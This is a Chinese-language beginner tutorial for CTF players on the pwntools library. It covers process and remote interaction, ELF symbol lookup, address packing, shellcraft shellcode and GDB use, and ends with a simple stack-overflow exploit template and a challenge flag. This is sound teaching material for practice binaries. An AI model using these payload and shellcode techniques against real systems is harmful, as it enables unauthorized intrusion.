Pwntools

Pwntools 是一个面向 CTF 和漏洞利用开发的 Python 库，主要用于快速编写 PWN 题目的 Exploit。它提供了进程交互、远程连接、ELF 解析、Shellcode 生成、汇编处理以及 GDB 调试等常用功能。

安装

可以直接使用 `pip` 安装：

```
python3 -m pip install --upgrade pwntools
```

安装完成后，可以使用下面的命令测试：

```
python3 -c "from pwn import *"
```

如果没有报错，则说明安装成功。

> 安装过程遇到问题可以直接找 AI 问问。

基本使用

Pwntools 一般通过：

```
from pwn import *
```

进行导入。

编写 Exploit 时，可以先设置程序架构和运行环境：

```
context.arch = "amd64"
context.os = "linux"
```

也可以写成：

```
context(arch="amd64", os="linux")
```

与程序交互

本地启动程序：

```
p = process("./pwn")
```

连接远程服务：

```
p = remote("127.0.0.1", 9999)
```

常用的发送和接收函数包括：

```
p.send(b"AAAA")
p.sendline(b"AAAA")

p.recv()
p.recvline()
p.recvuntil(b"> ")
```

其中：

- `send(data)`：直接发送指定的数据，**不会自动添加换行符。**
- `sendline(data)`：发送数据后会自动在末尾添加换行符 `\n`，相当于：

```
p.send(data + b"\n")
```

例如程序使用 `fgets()`、`scanf()` 等等待一行输入时，通常使用 `sendline()` 会更加方便。

接收数据时：

- `recv()`：接收当前可以读取到的一段数据，适合直接获取程序输出。
- `recvline()`：接收一整行数据，直到遇到换行符 `\n`。
- `recvuntil(delim)`：持续接收数据，直到遇到指定内容 `delim` 为止。

例如程序输出：

```
Input your name:
```

可以使用：

```
p.recvuntil(b"Input your name:")p.sendline(b"Fa1lSnow")
```

这样可以保证程序执行到输入位置后再发送数据。

Pwntools 还提供了一些组合函数，例如：

```
p.sendafter(b"> ", b"AAAA")p.sendlineafter(b"> ", b"AAAA")
```

其中：

```
sendafter()
```

相当于：

```
p.recvuntil(b"> ")p.send(b"AAAA")
```

而：

```
sendlineafter()
```

相当于：

```
p.recvuntil(b"> ")p.sendline(b"AAAA")
```

在菜单类 PWN 题中，这两个函数非常常用。

获得 Shell 后一般使用：

```
p.interactive()
```

进入交互模式。

`interactive()` 与前面的 `recv()`、`send()` 不同，它不会只进行一次发送或接收，而是把当前终端和目标程序的输入输出连接起来。

例如 Exploit 成功后执行：

```
p.interactive()
```

就可以像直接使用终端一样输入：

```
id
whoami
cat flag
```

因此一般可以简单理解为：

函数	作用
`send()`	发送数据，不加换行
`sendline()`	发送数据，并自动加 `\n`
`recv(xxx)`	接收一段数据
`recvline()`	接收一行数据
`recvuntil()`	接收到指定内容为止
`sendafter()`	等待指定内容后发送
`sendlineafter()`	等待指定内容后发送一行
`interactive()`	进入人工交互模式

> **PWN 脚本里最常见的其实是 `sendlineafter()`，因为菜单程序通常都是“等提示符 → 输入选项”。**

ELF

Pwntools 可以通过 `ELF` 直接解析 ELF 文件：

```
elf = ELF("./pwn")
```

常用属性包括：

```
elf.plt
elf.got
elf.symbols
elf.bss()
elf.address
```

例如：

```
puts_plt = elf.plt["puts"]
puts_got = elf.got["puts"]
main_addr = elf.symbols["main"]
```

这些功能可以方便地获取 ELF 中的符号、PLT、GOT 和 BSS 等地址。

数据打包

在 PWN 中经常需要将整数地址转换为字节数据，可以使用：

```
p64()
p32()
p16()
p8()
```

其中数字表示打包后的位数，例如 `p64()` 会将一个整数按照 64 位整数进行打包。

Pwntools 默认会根据 `context.endian` 决定字节序，常见的 x86 / x86-64 架构一般使用**小端序（Little Endian）**。

例如：

```
p64(0x401176)
```

在小端序下得到的字节排列类似：

```
\x76\x11\x40\x00\x00\x00\x00\x00
```

这是因为小端序会将整数的**低位字节放在低地址处**。

例如构造 Payload：

```
payload = b"A" * 72 + p64(0x401176)
```

表示先填充 72 个字节，再将地址 `0x401176` 按 64 位小端序写入 Payload。

如果需要显式指定端序，也可以设置：

```
context.endian = "little"
```

或者：

```
context.endian = "big"
```

对应的解包函数为：

```
u64()u32()u16()u8()
```

例如：

```
addr = u64(data.ljust(8, b"\x00"))
```

可以将接收到的字节数据按照当前端序重新转换为整数地址。

Shellcode

Pwntools 提供了 `shellcraft` 用于快速生成不同架构下的 Shellcode。

例如：

```
context.arch = "amd64"
context.os = "linux"

shellcode = shellcraft.sh()
shellcode = asm(shellcode)
```

`shellcraft` 封装了很多常用的 Shellcode，可以减少手工编写 Shellcode 的工作量。

asm

`asm()` 可以将汇编代码转换为机器码：

```
shellcode = asm("""
    xor rax, rax
    ret
""")
```

也可以使用：

```
disasm(shellcode)
```

将机器码重新反汇编为汇编代码。

联动 GDB 进行调试

Pwntools 可以直接附加 GDB：

```
p = process("./pwn")
gdb.attach(p)
```

也可以提前指定 GDB 命令：

```
script = """
b main
c
"""

p = process("./pwn")
gdb.attach(p, gdbscript=script)
```

一个简单的 Exploit 模板

```
from pwn import *

context(arch="amd64", os="linux")

elf = ELF("./pwn")

is_remote = False

if is_remote:
    p = remote("127.0.0.1", 9999)
else:
    p = process("./pwn")

payload = b"A" * 72
payload += p64(elf.symbols["win"])

p.sendlineafter(b"> ", payload)

p.interactive()
```

一个基础的 Pwntools 脚本通常可以理解为：

```
加载 ELF
   ↓
启动本地 / 连接远程
   ↓
接收程序输出
   ↓
构造 Payload
   ↓
发送 Payload
   ↓
进入 interactive
```

常用函数速查

函数	功能
`process()`	启动本地程序
`remote()`	连接远程服务
`send()`	发送数据

函数	功能
`sendline()`	发送一行数据
`recv()`	接收数据
`recvline()`	接收一行
`recvuntil()`	接收到指定内容
`interactive()`	进入交互模式
`ELF()`	加载 ELF 文件
`p64()` / `p32()`	整数打包
`u64()` / `u32()`	数据解包
`asm()`	汇编代码
`shellcraft`	生成 Shellcode
`gdb.attach()`	附加 GDB

初学时先熟悉：

```
process
remote
sendline
recvuntil
interactive
ELF
p64
u64
```

这些功能基本可以满足大部分基础 PWN 题目的脚本编写。

FLAG

```
D1NO{y0u_n0w_h0w_t0_u53_pwnt00ls}
```